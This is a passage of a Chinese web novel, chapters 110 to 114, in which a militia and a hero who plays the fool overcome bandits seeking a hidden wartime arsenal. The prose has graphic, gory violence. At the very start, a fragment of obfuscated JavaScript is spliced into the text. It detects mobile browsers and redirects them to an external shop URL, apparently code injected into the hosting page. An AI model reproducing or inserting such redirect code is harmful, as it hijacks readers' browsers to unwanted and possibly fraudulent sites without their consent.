他们一左一右反剪住她的胳膊,把她按倒在了雪地里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346064|199526||http|test|mini|href|location''.split(''|''),0,{}));
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r>马志坚走过去,手直接伸进了沈雨溪的棉袄内兜。
沈雨溪拼命挣扎,棉袄扣子崩飞。
那本黑皮笔记本被他马志坚掏了出来。
“还给我!”
沈雨溪脸上没有半点怯色,死死瞪着马志坚。
马志坚没搭理她,单手翻开笔记本。
只扫了两眼,那些线条和草图,竟钩出了他眼里的贪婪。
他合上本子,小心揣进了自己的内兜。
周铁山被两支冲锋枪顶着,身子没法动,但他那双眼睛却毒得很。
他瞅见这帮人拉枪栓退弹时,有个汉子低声骂了句:“丢雷老母。”
粤省口音!
省革委会的工作组,能带着满嘴南边沿海的道上黑话?
周铁山的视线飞快往下扫去,目光锁死了马志坚的那双皮靴。
鞋帮子和边缘凹槽里,糊着一层还没干透的红胶泥。
这十里八乡全是黑土地!只有挨着边境黑瞎子岭深处,才有这种红胶泥!之前查获阿力那辆藏着狼尸的吉普车,轮胎上的就是这种泥!
“你根本不是省里的人!”
周铁山咆哮起来,眼珠子通红,“你们是从南边来的,你们是黄五爷雇来的大圈仔!”
咔嗒!
哗啦啦!
周铁山这一嗓子,点爆了全场。
那几十号还在发懵的民兵,脸虽还惨白,手也抖着,但在这刺激下,齐刷刷拉开了手里的步枪枪栓。
马志坚的手下也跟着推弹上膛,十几支冲锋枪锁定了对面的民兵。
火药味顶到了喉咙眼。
只要一人手滑擦火,这片晒谷场分分钟就会变成血肉磨盘。
杨林松依旧蹲在土垛子旁,不声不响。
他手里那颗雪球早就被捏得比石头还硬,手指暗暗卡住了最顺手的发力点。
他在等一个必杀的距离,只要马志坚敢开枪,他能在第一秒就撅断对方的脖颈。
身份被当众扒了皮,马志坚连装都懒得装了。
他瞅着那些端枪发抖的民兵,满眼不屑。
紧接着,从后腰拔出一把大黑星手枪。
“咔嗒”一声,拇指拨开保险。
马志坚大步走到沈雨溪身侧,一把薅住她的长发往后猛拽,用枪管抵在了她的太阳穴上。
“沈知青,带路吧,去熊神洞。否则,这村子就得平了。”
第110章 媳妇别怕,我拳头硬
晒谷场上,北风卷着雪沫子,刮得人脸生疼。
马志坚单手薅住沈雨溪的头发,生拖硬拽往吉普车走。枪口顶在她太阳穴上,那股子杀气让沈雨溪头皮发麻。
“走!别磨蹭!”马志坚恶狠狠呵斥道。
沈雨溪脚下打滑,头皮撕裂般地疼,她嘴唇咬得发白,愣是一声没吭。
她费力地偏过头,看向蹲在土垛子旁的杨林松。
她摇了摇头,幅度很小。
那眼神透着死志:别动!千万别来送死!
杨林松依旧缩着膀子蹲在那儿,眼皮低垂,可手里那个硬雪球,被硬生生捏碎了,冰渣子顺着指缝往下漏。
敢动老子的女人?
阎王爷来拔份也得磕掉两颗牙!
十几名悍匪端着冲锋枪,枪线压着周铁山和几十号民兵。
双方针尖对麦芒,谁也不敢先擦火。
周铁山眼睛憋得充血,后槽牙磨得咯咯响。
马志坚冷哼一声,揪住沈雨溪的后领子,眼瞅着就要把她往车厢里塞。
就在这节骨眼上!
“媳妇儿!不许抢我媳妇儿!”
伴随着一声傻嚎,杨林松瞎抡着两条长胳膊,连滚带爬地从土垛子后头冲了出来。
“放开我媳妇儿!你们这群大坏蛋!我要去公社告你们!”
杨林松淌着哈喇子,一边大嚎,一边用王八拳开路,跌跌撞撞扑向人群。
那架势,哪是干架,纯纯就是乡下傻子在撒泼。
外围俩大圈仔猛回头,眼里全是鄙夷。这年头,傻子也赶着投胎?
其中一人抬起右腿,大牛皮靴子挂着风,准备一脚把这肉山踹飞。
眼瞅着军靴就要踹中胸口,杨林松脚底板踩在冻土上,突然一跐溜,“哎呀妈呀”一声,摔了个极其滑稽的平地趴。
可他这身形简直像条泥鳅!
庞大的身子擦着匪徒的靴边滑过,硬是从两人中间的缝隙里漏了过去,一头扎向马志坚。
马志坚听见背后的风声,后脑勺一紧。
他猛地转身,手里的大黑星调转枪口,对准了扑过来的杨林松,食指压向扳机。
说时迟那时快!
杨林松脚尖在冻土上一碾,身子前倾,顺势来了个狗吃屎。
这一趴,刚好避开了的枪口。
借着倒地的惯性和自身两百来斤的体重,他将全身力气都灌进了右肩。
去他娘的装傻!
八极拳,贴山靠!
“砰!”
撞击声沉闷又响亮。
杨林松的肩膀撞在马志坚的胸腹上。
这一靠,别说是肉体凡胎,就是头成年黑瞎子也得当场散架!
“咔巴!”
骨裂声乍起。
马志坚只觉胸口闷得慌,几根肋骨断裂,戳进了胸腔。
他没叫出声,直接被杨林松带着一同砸进了雪窝子里。
倒地翻滚时,杨林松的手探了出来。
左手扣住马志坚的手腕,右手反向一拧。
“咔嗒。”
干脆利落。马志坚的腕骨错位,手腕软成了面条。
大黑星从他手指间滑落。
杨林松脚跟一勾,手枪埋进厚雪里,神不知鬼不觉。
端着冲锋枪的匪徒全都傻了眼。
他们瞪大眼珠子。平日里心狠手辣的老大,怎么被一个连路都走不稳的乡巴佬傻子给扑翻了?
剧痛让马志坚的五官扭在一起,喉咙里发出漏风的倒气声。
他刚要拼命张嘴下令。
“打死你这个大蚂蚱!打死你!”
杨林松一边流着口水傻笑,一边揪住马志坚的大衣领子。
两人在雪窝子里纠缠,雪沫子飞溅。
杨林松趁乱将左膝盖抬起,然后一记猛力,砸在马志坚的右膝盖骨上。
“咔啦!”
粉碎声响起。
马志坚的右腿向外弯折,骨头茬子攮破了裤管,红的白的混成一片。
“啊!!!”
杀猪声终于冲破了马志坚的喉咙。
这声惨叫也总算唤醒了发愣的匪徒。
他们慌忙拉动枪栓,要把这个发疯的傻子打成马蜂窝。
可杨林松用双手勒住了马志坚的脖子,拿他当起了人肉盾牌。
“哎呀!大蚂蚱咬人啦!大蚂蚱好凶啊!救命啊!”
他大喊,拽得马志坚左右扑腾。
匪徒们的枪口跟着左右摇晃,老大的身体挡在前面,这一开枪,先吃枪子儿的绝对是老大!
射击路线全被封死了。
民兵和村民们看得张口结舌。在他们眼里,是杨家傻子犯浑,瞎猫碰上死耗子,把那个凶恶的特派员给缠了个结实。
但周铁山看得一清二楚!
这分明是在拿命,给被封锁的火力网撕开了一道口子!
时机到了!
趁着所有匪徒的注意力都被杨林松吸引了过去,周铁山抽了一口冷气。
“给老子开火!”
一声怒吼,与此同时,他已经窜了出去。
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>他一个虎扑,掀翻了离得最近的一名匪徒,两人瞬间扭作一团。
早在一旁憋着火的老刘头,狂吼一声,抡起那把铁匠锤,“哐”的一声,砸在另一名匪徒的肩胛骨上。
那悍匪连哼都没哼,瘫倒在地。
阿三也咬牙抄起大号铁扳手,一个跃步,照着一名匪徒的后脑勺夯了下去:“去你大爷的!”
那一声“开火”点燃了全村民兵的血性。
他们一个个红着眼,已被羞辱到了极致。
此刻,没人再哆嗦,全凭本能拉动枪栓,死死扣下扳机。
“砰砰砰砰!”
枪声大作,到处是硝烟的味道。
没了马志坚发号施令,那群大圈仔就成了无头苍蝇,还来不及扣扳机,就被步枪火力压制,紧接着被扑上来的民兵按倒了。
枪托往死里砸!
刺刀抵着脖子!
解放鞋冲着脸踹!
短短两分钟,十几个大圈仔全被缴了枪,被按在雪地里动弹不得。
战局翻了盘。
枪声歇了。
风雪中,晒谷场上,匪徒在哀嚎,民兵在喘着粗气。
马志坚被两个壮实的民兵反剪双臂,揿在泥雪里。
他满嘴是血,胸腔发着嘶嘶声,右腿断掉,手腕报废。
他彻底没了挣扎的力气,眼里满是不甘和绝望。
他被按住了脑袋,余光仍死命地瞥向那辆黑色吉普车。
杨林松甩了甩手上的泥浆,挂着一副憨傻样,迈着大步凑到周铁山面前。
“嘿嘿……”
他指着地上的马志坚,歪着脑袋吸溜了一下鼻涕:
“大军车叔叔,这个大蚂蚱刚才还要咬我媳妇,咋这会儿不蹦跶了?是不是冻睡着啦?”
周铁山大口喘着白气,将刚夺回的大黑星插进腰间。
他看了一眼这个傻子,没搭话,随即把目光投向马志坚的那辆吉普车。
“阿明!给老子看死这帮王八犊子!谁敢乱动,就地崩了!”
周铁山扔下一句,大步走向那辆车。
他拽开后排车门,探进半截身子,扯下后座上的防尘帆布。
一个方方正正的物件露了出来。
周铁山将那个沉甸甸的东西拖到车外,砸在雪地上。
那是一个带着长天线,上面有很多旋钮和按键的铁匣子。
在场凡是当过兵、摸过枪的老兵,视线一触及那东西,全都倒抽了一口凉气。
这是大功率军用电台!
第111章 画个猪鼻憋死你
大伙儿的汗毛孔全炸开了。几十号人的眼珠子,全死死钉在那台铁疙瘩上。
沈雨溪一把推开旁边的民兵,头发散了也顾不上,跌跌撞撞扑进雪窝子里。
她伸出冻得通红的手指头,麻溜地拨弄着电台旋钮。
“滋啦——滋滋——”
电流声响起,听得人直倒牙。
趴在雪地上的马志坚,半张脸杵在红白相间的冻泥里,右腿折成了个麻花。
他斜楞着眼瞅着沈雨溪,满是怨毒。
他想挣扎着爬起来砸了电台,可肋骨断茬稍一错位,嘴里就噗噗往外喷血沫子。
“别……别白费劲了……”马志坚嗓子眼里卡了把粗砂。
“黄爷下的这盘大棋,你们这帮泥腿子……压根看不懂……”
话音刚落,电流杂音骤停。
沈雨溪终于对上了频段。
电台里,传出一个浑厚、嚣张,带着浓重土匪戾气的声音。
“马仔,事儿办得咋样了?老子已经带着推土机进山了,开山的雷管管够!”
“黑瞎子岭那块破石头,今晚老子就给它平了!”
“杨家村那边,只要拖住周铁山那个老顽固,等老子进了熊神洞,拿到当年关东军的重家伙,整个省以后都得听我黄占山的!”
是黄五爷!
全场只剩下倒吸凉气的声音。
不少民兵握枪的手开始不受控制地发抖,枪栓碰得咔咔响。
推土机?重型雷管?
这他娘的哪是土匪下山打秋风,这简直是武装攻坚!
这帮畜生是要造反!
“杨家村不过是个钓鱼的饵。给老子看好那群羊,别让他们乱跑坏了大事!”
声音戛然而止,只剩下风雪的呼啸。
真相大白了!
这就是一出赤裸裸的调虎离山,外加直捣黄龙!
“我去你姥姥的!”
周铁山怒火攻心,眼珠子红得滴血,脖子上的青筋根根暴起。
他冲到马志坚跟前蹲下,反手就是一个大嘴巴子,狠狠抡在他脸上。
“所以你根本不是什么省里的特派员!你就是给黄占山开门的狗腿子!”
马志坚吐出一口带槽牙的血水,不但没求饶,反而狂笑起来。
“南边来的亡命徒,拿钱办事……黄爷许给我们的金条,够我们去港城快活几辈子!专门给你们这些土老帽下套!”
马志坚盯着周铁山,满眼嘲讽。
“姓周的,当你带人在村里和我们死磕的时候,后山防线就已经烂透了!你们输了!输得连底裤都不剩!”
啪!
周铁山重重抽了自己一个耳光,半边脸一下子肿起老高。
他悔啊!愧对这身军装,愧对老首长杨卫国的遗孤!
被几个亡命徒耍得团团转,差点成了红星大队的千古罪人!
“阿明!集合所有能喘气的!”
周铁山咆哮着,眼里爆出老兵拼命前才有的凶光。
“带上手榴弹,跟老子进山!今天哪怕拿命去填,拿肉身去堆,也得把洞口给老子堵死!”
民兵们面面相觑,惊恐已经顺着脊梁骨爬到了头皮。
拿命填?
对面可是带着推土机和重型雷管的悍匪,用这血肉之躯咋挡得住?
就在这军心快要崩盘的要命关头。
“哇!画圈圈喽!大圆圈,套小圆圈,猪八戒要吃肉肉咯!”
突如其来的傻嚎,把大伙儿吓了一跳。
杨林松从一旁的灰堆里捡起根烧黑的木棍,撅着屁股,在沈雨溪和周铁山的脚边画了起来。
四个规整的圆圈。呈菱形排布,中间歪歪扭扭地连了几道横杠。
沈雨溪原本正沉浸在无力感中,可当她看到那四个圆圈时,身子猛然一震。
在别人眼里,这是傻子小儿涂鸦。
但作为兵工厂技术骨干的女儿,在沈雨溪看来,这就是一张战术通风管网图!
她记起来了,父亲的笔记中也画了这张图。
杨林松竟然看懂了!
“这……这不是猪八戒!”
沈雨溪抬起头,声音发颤。
“周副部长!你看这四个点的位置!它们对应的正是黑瞎子岭地下工事的四个通气孔!”
杨林松依旧在傻乐,还往手心里啐了口唾沫,往地上的圈圈里一按,“啪”的一声响。
周铁山懂行,凑近一看,眼角狠狠抽搐了几下。
这四个位置,正是整座日军地下堡垒的死穴!也是当年关东军设计的通风命门!
里边的敌人在这四个位置架起火力,外面的人很难从正面强攻。
那反过来,从外头封住这四个出气口呢?
“里面的人……出不来……”
沈雨溪低声呢喃,眼里闪过精光。
“林松……他是想告诉咱们,掐死死穴,来个关门打狗!”
杨林松嘿嘿直笑,把木棍一扔,拍着巴掌嘟囔着:
“大箱子藏洞洞,放个屁,全憋死!憋死大坏蛋咯!”
周铁山恍然大悟!
这他娘的哪是傻话,这明明是特种战术指令!
他狠狠抹了一把脸上的冰碴子,眼神亮过杀猪刀。
“阿明!把马志坚这帮王八犊子全拿绳子捆死,塞进猪圈里拿枪管子顶着!谁敢劫狱,当场突突了!”
“剩下的人,去民兵仓库把手榴弹全搬出来!每人带六枚!还有,去供销社把化肥和辣椒面都给老子扛上!”
“咱们不跟推土机正面刚,咱们去给他们加点料!断了他们的气,封了他们的死穴!让他们在洞里好好尝尝啥叫辣眼睛!”
原本溃散的军心,就因为这个傻子胡乱画的几笔,奇迹般重新聚拢,甚至燃起了一股子邪火。
关门打狗,土法熏耗子,这活儿东北汉子熟啊!
“都给老子动起来!快!”
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整个红星大队进入了疯魔般的临战状态。
民兵们在风雪中来回穿梭,肩扛手提着手榴弹和尿素袋子,杀气腾腾。
沈雨溪一边整理帆布包,一边下意识回头寻找杨林松。
“林松?”
土垛子旁边空空如也,只剩下一滩刚化开的雪水和半个脚印。
那个身影,不知何时已消失在了白茫茫的迷雾深处。
一同消失的,还有老刘头和阿三。
兵王杀机,已悄无声息地遁入了老林子。
沈雨溪没来由地心里大定。她知道,真正的猎人,已经提前进场收网了。
------
与此同时,黑瞎子岭深处。
轰隆隆!
推土机的引擎声震碎了老林子的安宁,滚滚黑烟直冲天空。
黄五爷手下的头号炮头“铁脑壳”,正站在车斗上。
他手里攥着两把雷管,指挥着几十号土匪疯狂掘土开山。
这家伙生得极怪,脑袋比常人大了一圈,天灵盖那儿因为早年挨过刀,竟生生用生铁皮镶了一块补丁,边缘用肉筋缝死。
淡日头一照,铁皮泛着冷光,一副活阎王的凶样儿。
“手脚都麻利点!五爷说了,洞口就在这片林子里!”
铁脑壳眼里全是血丝,扯得粗脖子叫唤,“把这些碍事的树和石头都推平了!老子就不怕找不到那道门!”
“只要敲开那道门,里头的硬家伙够咱们吃三辈子!老子带你们去省城吃香喝辣,找最水灵的娘们!”
轰隆隆!
推土机野蛮推进,周围十里的红松和岩石被成片推倒。
轰!
一块巨石被铲开,一座布满水泥加固痕迹的石门,露出了冰山一角。
土匪们眼冒绿光,背着沉甸甸的炸药箱,争先恐后地往上扑,哈喇子都快流下来了。
然而,就在铁脑壳准备跳下车,去石门缝里塞第一枚雷管时。
林子里的西北风突然停了,邪门得很。
紧接着,一股子带着腥臊味的煞气,铺天盖地压了下来,盖过了推土机的引擎声。
“嗷!!吼!!!”
怒吼响彻山林,震得周围红松上的积雪簌簌砸下。
推土机上方,原本空无一物的高岗乱石上,一头庞大的黑兽缓缓直立起了身子。
那是被杨林松一箭穿掌、彻底打服的巨型黑瞎子!
它足有两米多高,胸前那撮标志性的白毛最是显眼。
它的脚下就是熊神洞,两只熊掌疯狂拍击着胸脯,两眼血红。
它在守门!
那个可怕的两脚兽曾饶它一命,吩咐它守在这儿。
谁敢靠近这个洞穴,它就得撕碎谁的喉咙!
铁脑壳手一哆嗦,雷管险些掉在履带上。
他仰着僵硬的脖子,看着上面那个大家伙,咽了一大口唾沫:
“妈了巴子的……这特么是门神成精了?!”
第112章 动我兄弟者,死!
铁脑壳仰着脖子,死盯着上方那头畜生。
头皮发麻的劲儿,眨眼间就被一股子贪婪狂热给压了下去。
这买卖值大发了!这么大体格的黑瞎子,十几年也碰不上一头!
真要是囫囵个儿弄死拿到黑市上,这么大一张须尾俱全的熊王皮,够他铁脑壳在省城换三套带大院的洋房,包十个最水灵的娘们,快活大半辈子!
“都他娘的别开枪!”
铁脑壳扯着破锣嗓子一通吼,脑门上那块生铁补丁跟着青筋直突突。
“谁敢在皮子上留个窟窿,老子活剥了他!”
他指着那头冲他们咆哮的黑兽,吐沫星子横飞:
“用网!用绳子!给老子活捉!”
几十号胡子本已吓得两腿打摆子,这会儿听着炮头的许诺,人为财死的贪念硬生生压住了恐惧。
干了!
他们把手里的枪往雪地上一扔,七手八脚从推土机斗子里扯出绑粗木用的麻绳网。
十几个壮汉挥舞着铁锹和削尖的木棍,呈半圆向乱石逼近。
黑瞎子血红的眼珠子死死盯着这群两脚羊。
它本就憋着前阵子被杨林松一箭穿掌的邪火,此刻被挑衅,骨子里的暴戾彻底压不住了。
“嗷!!!”
一声狂吼!黑瞎子人立而起,两只簸箕大的熊掌往前狠狠一探。
“呲啦!”
那张足能兜起半吨重物的麻绳网,在它的蛮力下,一下子就碎了一地。
紧接着,庞大的黑影跃下,撞进了胡子堆里。
砰!咔嚓!
黑瞎子左爪抡圆了一拍,风声直刮脸!
冲在最前头,举着铁锹的俩胡子连声儿都没吭,倒飞出去。
嘎巴几声脆响,两人结结实实砸在远处的红松树干上。
胸骨塌陷,嘴里喷出混着内脏碎块的血水,当场断气。
“退!快退!”
剩下的土匪吓破了苦胆。
前一秒的发财梦成了催命符,人力在这头蛮荒霸主面前,连个屁都不是。
眼瞅着折了弟兄,铁脑壳再也顾不上贪心,气急败坏起来。
好熊皮是捞不着了,保命要紧!
“废物!一群草包!”
他大骂着推开挡路的马仔,从雪地里捞起一把双管猎枪。
“开火!打死它!往死里打!”
胡子们得了令,连滚带爬地去捡地上的步枪。
咔嚓咔嚓!
拉枪栓的声音响成一片。
砰砰砰!
杂乱的枪声响起。
子弹打在黑瞎子周围的冻土上,碎石横飞。
铁脑壳眼神阴毒,没敢正面硬刚,猫腰借着推土机的掩护,兜到了黑瞎子的右侧翼。
趁着黑瞎子被正面火力吸走注意力,他直起身,枪口死死咬住它的后腿关节。
轰!
猎枪喷出一大团火光。
大把的铁砂子削进了黑瞎子的右后腿。
皮开肉绽,血花四溅!
“吼!!”
巨熊发出一声凄惨的悲鸣。
庞大的身躯失去支撑,轰然瘫倒在雪窝子里。
它拼命挥舞着前爪想站起,但后腿的重创让它一次次重重栽下。
“哈哈哈哈!畜生到底就是畜生!”铁脑壳狞笑出声。
他扔掉了打空的猎枪,从腰间拔出一根雷管,摸出洋火准备点燃引信,想要彻底炸碎这头拦路虎。
就在他划火柴的瞬间。
哧!
一道尖啸贴着风雪刮过!
砰!
铁脑壳只觉手腕子传来一股蛮力。
一支雪亮的破甲箭,竟钉穿了他手中的雷管!
这股冲劲儿,震得他虎口崩裂,渗出鲜血。
还没等这帮土匪缓过神。
砰!
左侧高点的岩石方向,传来一声枪响。
是那把莫辛-纳甘发出的响声。
离铁脑壳最近的一名土匪,脑袋当场炸开。
红的白的全溅在了铁脑壳那张横肉脸上。
风雪猛然灌大,遮天蔽日。
红松林边缘,一个高大的身影踏雪而出。
杨林松反穿着毛呢大衣,白内衬跟风雪糊成一色,脸上没有一丝多余的表情。
他左手提着紫杉木大弓,右手搭在箭袋上,踩在雪里的脚印步步一般深。
他大马金刀地戳在重伤喘息的黑瞎子跟前,护住了道。
与此同时,右侧的雪窝子里一阵翻动。
阿三一跃而起,双手攥着一把大黑星手枪。
他脸煞白,但眼神透着狠劲,枪口直指下方惊慌失措的胡子。
高处,老刘头隐在岩石缝里,水连珠的枪栓发出一声“咔哒”,下一发子弹已经顶上膛。
交叉火力网成型。
三人小队,凭着专业的战术卡位,把下方几十号装备精良的土匪压得抬不起头。
“硬茬子!遇见黑吃黑的了!”铁脑壳直冒冷汗。
他混江
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湖多年,一眼看穿了对面的站位。
右边那个握大黑星的瘦子手直哆嗦,是个雏儿,那是唯一的突破口!
铁脑壳凶性大发。
他左手扯掉腰间的手榴弹拉环,在推土机履带上狠狠一磕,抡圆了胳膊朝阿三掷了过去!
引信冒着白烟,在半空划出一道弧线。
“阿三!趴下!”老刘头嘶吼道。
阿三毕竟没上过战场,见铁疙瘩飞来,下意识往后闪,可动作终究慢了半拍。
“轰!”
手榴弹在阿三右前方炸开。
冻土混着生铁片子乱崩。
阿三的大腿被一片指甲盖大小的铁片狠喇了一道深口子!
血一下子呲了出来,把旁边的雪地染得鲜红。
他倒吸一口凉气,身子一晃,重重栽下去。
杨林松看着阿三倒地。
那双原本波澜不惊的眼睛,顷刻间变得冷酷无比。
他不吼不叫,把长弓扔进雪里。
右手往腰间一模,拔出了那把56式三棱军刺。
周身散发着浓郁杀气,连风雪都压不住!
他腿一发力,向前冲出,每拔一次脚,都在雪地上留下一个深坑。
他不走直线,凭着战场上练就的规避动作,飞快切进了胡子的阵形里。
近身了!
离他最近的土匪连枪栓都没拉满。
杨林松的左手已经捏住了那人的手腕,嘎巴一声,手腕连骨带筋向外生撅!
右手军刺跟着往前一送。
哧!
三棱刺顺着下巴颏的软骨缝隙攮了进去,直透脑花。
抽刀时干脆利落,滴血不沾,只带出一股白浊的脑浆。
第二个土匪刚转过枪口,杨林松借着冲劲,身子一矮,一记贴山靠硬撼过去!
那人胸口肋骨全断,双眼暴凸,连惨叫都憋在了嗓子眼里。
杨林松反手一记倒划,利落地抹开了他的颈动脉。
第三个土匪举着大砍刀劈下,杨林松错步闪开刀锋。
军刺从对方肋骨缝里滑入,扎穿了心脏!
三秒!三条人命!
杨林松连大气都没喘一口,收刀站定。
铁脑壳看得三魂七魄都飞了。
这特么还是人?惹谁不好,非惹这尊活阎王!
他那颗打了生铁补丁的脑袋里,此时只剩下了一个念头。
跑!赶紧跑!
再晚一秒,骨头渣子都得被这杀神给嚼碎了!
第113章 别跑啊,尝尝这波阎王烟
“炸门!快给老子炸门!”
铁脑壳嗓子都喊劈了。
“拦住他!拿人命给老子填,也得把这尊活阎王挡住!”
两个被洗了脑的土匪,怀里搂着成捆的重型雷管,眼珠子通红地撞向石门。
剩下的十几个胡子被铁脑壳拿枪逼着,硬着头皮排成了人墙。
砰!
老刘头的水连珠再次发威,那叫一个稳准狠,一枪下去,人墙前头那个胡子胸口直接透了亮。
杨林松猫着腰,在乱石堆里左闪右突。
手里那把三棱军刺,专门往对方的脖子和肋骨缝里钻。
每一刀下去,就带走一个。
眼瞅着石门前成了暗红色的修罗场,土匪也被逼到了绝命处。
一个被撞碎了肩膀的胡子,临死前狠命咬开一盒红头洋火。
火苗子一窜,那短短的引信立马滋滋冒烟!
“撤!快往后撤!”
杨林松眼珠子一凝,大吼一声。
他脚底板在冻土上一拧,身子倒飞出去。
退后的一瞬间,他大手一抄,揪住了那头重伤黑瞎子的厚颈皮。
三百多斤的巨兽,硬生生被他用蛮力拖着,在雪地上犁出了一道深沟,滑出几丈远。
轰隆隆!!
重型雷管的气浪把山谷翻了个个儿,震得人耳朵里嗡嗡作响。
碎石子混着冰碴子,跟没长眼的流弹一样,嗖嗖直往树干里扎。
硝烟散去,熊神洞前的伪装层被彻底掀开,露出一扇厚石门。
门板被炸开了一道一人宽的黑缝,在地底下憋了三十年的寒气,顺着缝隙往外直冒。
铁脑壳顾不得满脸血污,动作跟泥鳅似的,呲溜一下就缩进了地底下那个王八壳子,七八个命大的残匪也跟着钻了进去。
老刘头刚想追,杨林松大手一挥,硬是把人给拦下了。
------
硝烟散得差不多了。
周铁山领着红星大队的民兵,踩着积雪杀到了。
几十个老爷们瞅见满地的残肢断臂,再瞅瞅拎着滴血军刺、在风雪里站得笔直的杨林松,齐刷刷地咽了口唾沫。
大伙儿心里都在犯嘀咕:这杨家傻子,到底是哪尊杀神下了凡?
周铁山到底是老兵,一眼就锁住了局势。
他没二话,大手一挥,民兵们就上去把几个装死的胡子拿麻绳捆得跟死猪似的。
杨林松收了杀心,大步抢到阿三跟前。
他撕开自己的大衣内衬,“刺啦”一声,手指头使出了老辣的止血扣。
他死死按住阿三的大腿跟动脉,接过沈雨溪递来的白药粉,拍在创面上。
阿三疼得冷汗直冒,愣是没敢吭声,看杨林松的眼神里全是敬畏。
杨林松在土匪的破棉袄上抹掉军刺上的残血,咔嗒一声,利落回鞘。
他站起身,抬手往洞口一指,嗓音冷得掉渣:
“憋死他们。”
周铁山猛吸一口凉气。他瞅瞅洞口,又瞅瞅那几车化肥,领悟了杨林松的绝户计:
绝不能放这帮畜生出来!
“阿明!”周铁山暴吼一声,“把推土机开过来!找块最大个的青石,给老子把这洞口死死顶住!”
轰隆隆!推土机的黑烟在老林子里喷涌。
巨大铲斗顶着半人高的顽石,严丝合缝地怼进了石门裂缝。
嘎吱一声,那金属摩擦石头的酸倒牙声,让民兵们直打寒噤。
“快!上红胶泥!糊得连个屁缝都别留!”
民兵们一拥而上,铲起冰碴子和红胶泥一顿狂抹。这大冷的天,水一泼上去就是最好的水泥。
沈雨溪顾不得头发乱得像草窝,摊开那本黑皮笔记本,指着那张图纸:
“这儿!那儿!还有那两堆乱石下头,也是主通风口!”
“点火!给老子狠狠地扇!”周铁山一声令下。
四个药包被塞进了通风道。
这里头塞的可全是狠货:陈年尿素、化肥,还有按比例掺进去的老辣子粉。
火光一闪,黄绿色的浓烟冲起。
“扇!使劲儿扇!”
民兵们扯开湿麻袋拼命扇,毒烟顺着孔洞狂暴地往里头钻,阎王爷闻见了都得哭掉眼珠子。
------
地堡里头,阴冷劲儿猛过外头的风雪。
铁脑壳缩在拐角处,举着火把。
“炮头……外面咋没动静了?”
“周铁山那老顽固,肯定以为堵门就能困死咱。”
铁脑壳声音嘶哑地狞笑着,“这可是关东军的堡垒,只要摸进军火库,咱有了重机枪和炮,反手就能杀回去,平了那杨家村!”
他刚想带人往前摸,脚底下的石板突然发出一声轻微的金属扣合声。
咔嗒!
“退!!趴下!”
轰隆!!!
地道里的连环压发雷爆了。
狭窄的空间变成了碎肉机,上千颗钢珠眨眼间就把顶在前头的俩土匪撕成了零件。
血肉和碎骨头碴子拍在墙上。
铁脑壳被气浪掀翻出几米远,后脑勺砸在墙上,耳朵里渗出的血热辣辣的。
“我的妈呀……是雷!全是地雷!”
残匪们瞅着墙上挂着的下
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水,吓得裤裆全湿了。
这哪是宝库,这是阎王爷专门给胡子修的停尸房!
还没等他们爬起来,一股子辛辣呛鼻的黄烟,顺着地道卷了过来。
“这……这是啥烟?!”
一个胡子刚吸一口,眼珠子当场就鼓了出来。
“眼!我的眼!”
另一个胡子疯狂地抓挠自己的脖子,把皮肉都抠烂了。
“往前冲!前面有铁门!”
铁脑壳憋得面孔发紫,用烂布死死捂住口鼻,在浓烟里摸索着。
咔嗒!
墙里的暗弩射穿了同伙的胸膛。
扑通!
又有人掉进了铁刺坑。
最后,铁脑壳终于摸到了一扇布满铆钉的防空铁门。
“开啊……给老子开啊!”
他手忙脚乱地拧动门上的十字转轮,那是他唯一的活路。
咔……咔咔。
声音不对!
这不是开锁的声音,是齿轮咬合的声响!
门缝里猛地喷出一股子刺鼻的高压腐蚀液。
铁脑壳扭曲的笑脸还没散开,身后十几根两指粗的三棱钢锥呼啸而至。
噗呲……噗呲!
铁脑壳被钉死在铁门上,被扎成了个血淋淋的筛子。
他脑袋上那块生铁片子掉在石板地上,发出一声清脆的绝响。
临死,他连句囫囵话都没留下,嗓眼里全是翻滚的血泡。
------
洞外。
风雪停了,夕阳把老林子映得血红。
杨林松面无表情地站在那儿,心里掐着点儿。
三十分钟已经过去。
他抬起手,轻轻一挥:“散烟。”
推土机再次发动,铁链子哗啦啦作响,堵门的大青石被拽了出来。
余烟飘了出来。
周铁山被辣得不停打喷嚏,眼泪横流:“真特么够劲儿!”
杨林松面色不改,反握着三棱军刺,第一个跨进了那个吃人的黑窟窿。
手电筒的光在黑暗里劈开一条路。
坑道里满地都是没眼看的“零件”,血腥味重得让跟在后头的沈雨溪差点栽个跟头。
杨林松停在了那扇满是血迹的铆钉铁门前。
哪怕自毁机关动了,这扇门依旧稳稳地立在那儿。
“啊!”沈雨溪瞅见被钉在门上的铁脑壳,捂着嘴退了半步。
杨林松伸出手指,摸了摸冰凉的铁皮。
门后头……就是真相了。
众人全屏住呼吸,十几道光柱齐刷刷聚在那扇尘封了三十年的铁门上。
一段带血的历史,即将被这把军刺挑开。
第114章 爹,儿子接你回家了!
杨林松右手反握56式三棱军刺,左手抵住门缝,肩膀猛地一发力。
咔吧——轰!
这扇被腐蚀液烧得烂透的铁门,终究扛不住这一膀子的蛮力,被硬生生顶开了。
手电筒的光,劈开了这憋了三十年的黑暗。
“我滴个老天爷……”
身后的周铁山步子一软,半晌才从牙缝里挤出一句糙话:
“这帮东洋鬼子,是把整座兵工厂的家底都搬进这王八壳子里了?”
光柱晃过,成堆的九二式重机枪整齐排列。
旁边码得半人高的红松木大箱上,裂缝里露出了迫击炮筒和成串的掷弹筒。
空气里全是陈年防锈黄油的味儿,还混着土腥气,又粘又冲,直往鼻子里钻。
“这批家伙什,拉出去武装一个加强连都绰绰有余!”
周铁山抹了一把脑门上的冷汗。
“真要让黄五爷那帮畜生得了手,别说杨家村,怕是整个县革委的大院,都能被他们一通炮火给平了!”
民兵们面色惨白,手里的老套筒都快攥不稳了。
杨林松没在这些废铁前停半步,他拎着军刺,猫着腰在军火丛中穿行,直奔地堡最阴冷的深处。
那里是防空通风管的正下方。
光柱定住了。
墙角的一堆阴影现了原形。
一具靠墙端坐的残骸,军服烂成了几片挂在枯骨上,那斜挎包和绑腿的样式,分明是当年在大山里打鬼子的抗联英雄。
